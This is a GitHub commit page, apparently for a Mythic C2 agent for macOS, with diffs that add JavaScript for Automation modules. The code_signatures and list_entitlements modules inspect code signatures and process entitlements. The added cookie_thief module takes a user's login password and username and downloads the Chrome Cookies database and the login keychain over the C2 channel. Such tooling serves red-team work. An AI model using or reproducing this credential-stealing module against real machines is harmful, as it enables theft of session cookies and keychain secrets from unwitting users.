-
Notifications
You must be signed in to change notification settings - Fork 15
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #5 from MythicAgents/v2.3-testing
V2.3 testing
- Loading branch information
Showing
79 changed files
with
5,974 additions
and
586 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1 +1 @@ | ||
| FROM itsafeaturemythic/python38_payload:0.0.7 | ||
| FROM itsafeaturemythic/python38_payload:0.1.1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,37 @@ | ||
| exports.code_signatures = function(task, command, params){ | ||
| ObjC.import("Security"); | ||
| let staticCode = Ref(); | ||
| try{ | ||
| let binpath = JSON.parse(params)["path"]; | ||
| if(binpath === undefined || binpath === null){ | ||
| return {"user_output": "Missing Path to examine", "completed": true, "status": "error"}; | ||
| } | ||
| let path = $.CFURLCreateFromFileSystemRepresentation($.kCFAllocatorDefault, binpath, binpath.length, true); | ||
| $.SecStaticCodeCreateWithPath(path, 0, staticCode); | ||
| let codeInfo = Ref(); | ||
| $.SecCodeCopySigningInformation(staticCode[0], 0x7F, codeInfo); | ||
| ObjC.bindFunction('CFMakeCollectable', ['id', ['void *'] ]); | ||
| let codeInfo_c = $.CFMakeCollectable(codeInfo[0]); | ||
| let code_json = ObjC.deepUnwrap(codeInfo_c); | ||
| if(code_json === undefined){ | ||
| return {"user_output": "Failed to find specified path", "completed": true, "status": "error"}; | ||
| } | ||
| if(code_json.hasOwnProperty("flags")){ | ||
| let flag_details = []; | ||
| if( code_json["flags"] & 0x000001 ){flag_details.push({"0x000001": "kSecCodeSignatureHost - May host guest code"})} | ||
| if( code_json["flags"] & 0x000002 ){flag_details.push({"0x000002": "kSecCodeSignatureAdhoc - The code has been sealed without a signing identity"})} | ||
| if( code_json["flags"] & 0x000100 ){flag_details.push({"0x000100": "kSecCodeSignatureForceHard - The code prefers to be denied access to a resource if gaining such access would cause its invalidation"})} | ||
| if( code_json["flags"] & 0x000200 ){flag_details.push({"0x000200": "kSecCodeSignatureForceKill - The code wishes to be terminated if it is ever invalidated"})} | ||
| if( code_json["flags"] & 0x000400 ){flag_details.push({"0x000400": "kSecCodeSignatureForceExpiration - Code signatures made by expired certificates be rejected"})} | ||
| if( code_json["flags"] & 0x000800 ){flag_details.push({"0x000800": "kSecCodeSignatureRestrict - Restrict dyld loading"})} | ||
| if( code_json["flags"] & 0x001000 ){flag_details.push({"0x001000": "kSecCodeSignatureEnforcement - Enforce code signing"})} | ||
| if( code_json["flags"] & 0x002000 ){flag_details.push({"0x002000": "kSecCodeSignatureLibraryValidation - Require library validation"})} | ||
| if( code_json["flags"] & 0x010000 ){flag_details.push({"0x010000": "kSecCodeSignatureRuntime - Apply runtime hardening policies as required by the hardened runtime version"})} | ||
| code_json["flag_details"] = flag_details; | ||
| code_json["flags"] = "0x" + code_json["flags"].toString(16); | ||
| } | ||
| return {"user_output":JSON.stringify(code_json, null, 2), "completed": true}; | ||
| }catch(error){ | ||
| return {"user_output":error.toString(), "completed": true, "status": "error"}; | ||
| } | ||
| }; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,55 @@ | ||
| exports.cookie_thief = function(task, command, params){ | ||
| let config = JSON.parse(params); | ||
| let keyDL_status = {}; | ||
| let cookieDL_status = {}; | ||
| let password = ""; | ||
| var username = ""; | ||
| let browser = "chrome"; | ||
| let homedir = "/Users/"; | ||
| let keychainpath = "/Library/Keychains/login.keychain-db"; | ||
| let chromeCookieDir = "/Library/Application Support/Google/Chrome/Default/Cookies"; | ||
| let cookiedir = "/Library/Application Support/Google/Chrome/Default/Cookies"; | ||
|
|
||
| if(config.hasOwnProperty("password") && typeof config['password'] == 'string'){ | ||
| password = config['password']; | ||
| } | ||
| else { | ||
| return {'user_output': "Must supply the user's login password", "completed": true, "status": "error"}; | ||
| } | ||
|
|
||
| if(config.hasOwnProperty("username") && typeof config['username'] == 'string' && config['username']) { | ||
| username = config['username']; | ||
| } | ||
| else { | ||
| return {'user_output': "Must supply the username", "completed": true, "status": "error"}; | ||
| } | ||
| let cookiepath = homedir + username; | ||
|
|
||
| if(config.hasOwnProperty("browser") && typeof config['browser'] == 'string'){ | ||
| browser = config['browser']; | ||
| } | ||
|
|
||
| if(browser === "chrome") { | ||
| cookiedir = chromeCookieDir; | ||
| } | ||
| let cookieDLPath = cookiepath + cookiedir; | ||
|
|
||
| try{ | ||
| cookieDL_status = C2.download(task, cookieDLPath); | ||
| } | ||
| catch(error) { | ||
| return {'user_output': error.toString(), "completed": true, "status": "error"}; | ||
| } | ||
|
|
||
| let keypath = homedir + username + keychainpath; | ||
| try{ | ||
| keyDL_status = C2.download(task, keypath); | ||
| if(keyDL_status.hasOwnProperty("file_id")){ | ||
| keyDL_status['user_output'] = "\nFinished Downloading KeychainDB and Cookies\n"; | ||
| } | ||
| } | ||
| catch(error) { | ||
| return {'user_output': error.toString(), "completed": true, "status": "error"}; | ||
| } | ||
| return keyDL_status; | ||
| }; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,13 +1,8 @@ | ||
| exports.download = function(task, command, params){ | ||
| try{ | ||
| if(params === "" || params === undefined){return {'user_output': "Must supply a path to a file to download", "completed": true, "status": "error"}; } | ||
| let status = C2.download(task, params); | ||
| if(status.hasOwnProperty("file_id")){ | ||
| status['user_output'] = "Finished Downloading"; | ||
| } | ||
| return status; | ||
| return C2.download(task, params); | ||
| }catch(error){ | ||
| return {'user_output': error.toString(), "completed": true, "status": "error"}; | ||
| } | ||
|
|
||
| }; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,53 @@ | ||
| exports.list_entitlements = function(task, command, params){ | ||
| ObjC.import('AppKit'); | ||
| let le = function(pid){ | ||
| ObjC.bindFunction('malloc', ['void**', ['int']]); | ||
| ObjC.bindFunction('csops', ['int', ['int', 'int', 'void *', 'int'] ]); | ||
| let output = $.malloc(512000); | ||
| $.csops(pid, 7, output, 512000); | ||
| let data = $.NSData.alloc.initWithBytesLength(output, 512000); | ||
| for(let i = 8; i < data.length; i ++){ | ||
| if(data.bytes[i] === 0){ | ||
| let range = $.NSMakeRange(8, i); | ||
| data = data.subdataWithRange(range); | ||
| let plist = $.NSPropertyListSerialization.propertyListWithDataOptionsFormatError(data, $.NSPropertyListImmutable, $.nil, $()); | ||
| return ObjC.deepUnwrap(plist); | ||
| } | ||
| } | ||
| return {}; | ||
| } | ||
| try{ | ||
| let arguments = JSON.parse(params); | ||
| let output = []; | ||
| if(arguments["pid"] === -1){ | ||
| let procs = $.NSWorkspace.sharedWorkspace.runningApplications.js; | ||
| for(let i = 0; i < procs.length; i++){ | ||
| let entitlements = {}; | ||
| let ent = le(procs[i].processIdentifier); | ||
| if(ent === null || ent === undefined){ | ||
| ent = {}; | ||
| } | ||
| entitlements["pid"] = procs[i].processIdentifier; | ||
| entitlements['bundle'] = procs[i].bundleIdentifier.js; | ||
| entitlements['bundleURL'] = procs[i].bundleURL.path.js; | ||
| entitlements['bin_path'] = procs[i].executableURL.path.js; | ||
| entitlements['name'] = procs[i].localizedName.js; | ||
| entitlements["entitlements"] = ent; | ||
| output.push(entitlements); | ||
| } | ||
| }else { | ||
| let entitlements = {}; | ||
| let ent = le(arguments["pid"]); | ||
| entitlements["pid"] = arguments["pid"]; | ||
| entitlements['bundle'] = ""; | ||
| entitlements['bundleURL'] = ""; | ||
| entitlements['bin_path'] = ""; | ||
| entitlements['name'] = ""; | ||
| entitlements["entitlements"] = ent; | ||
| output.push(entitlements); | ||
| } | ||
| return {"user_output":JSON.stringify(output, null, 2), "completed": true}; | ||
| }catch(error){ | ||
| return {"user_output":error.toString(), "completed": true, "status": "error"}; | ||
| } | ||
| }; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.